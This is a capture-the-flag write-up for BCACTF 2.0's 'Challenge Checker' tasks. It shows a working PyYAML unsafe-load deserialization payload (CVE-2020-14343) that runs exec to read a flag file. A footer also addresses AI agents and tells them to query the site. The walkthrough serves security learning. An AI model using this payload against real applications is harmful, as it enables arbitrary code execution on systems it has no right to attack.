# Challenge Checker

### Challenge Checker 1

We are prompted to paste in YAML data. We can see from the code that `yaml.load()` is used to load the data.

```python
from yaml import load

...

def check(raw_data) -> "Tuple[list[str], list[str]]":
    data = load(raw_data)
```

There exists a deserialization exploit in PyYAML that was only fixed in version 5.4.1.

Issue: <https://github.com/yaml/pyyaml/issues/420> GitHub Advisory (CVE-2020-14343): <https://github.com/advisories/GHSA-8q59-q68h-6hv4>

We can see from `requirements.txt` that the version is 3.13, which is vulnerable.

```
PyYAML==3.13
termcolor==1.1.0
```

From the GitHub issue, we can find some of the proof of concept exploits. For instance:

```yaml
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "RCE_HERE"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
```

So, in the `chall.yaml`, I simply added this PoC under `authors:`

```yaml
authors:
  - anli
  - Edward Feng
  - !!python/object/new:str
    args: []
    state: !!python/tuple
    - "print(open('flag.txt').read())"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
visible: true
```

This executes `print(open('flag.txt').read())` and reads the flag.

![](/files/-McEbhS8uZQ76jAw4g61)

### Challenge Checker 2

The only change is that PyYAML is now version 5.3.1.

```
PyYAML==5.3.1
termcolor==1.1.0
```

But the exploit we used previously affected all versions below 5.4.1, so it works here too.

![](/files/-McEblJsBAiQgPV6-KyG)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.zeyu2001.com/2021/bcactf-2.0/challenge-checker.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
